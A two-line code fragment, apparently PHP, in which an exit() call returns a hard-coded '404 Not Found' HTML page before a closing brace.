	exit("<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>");
}
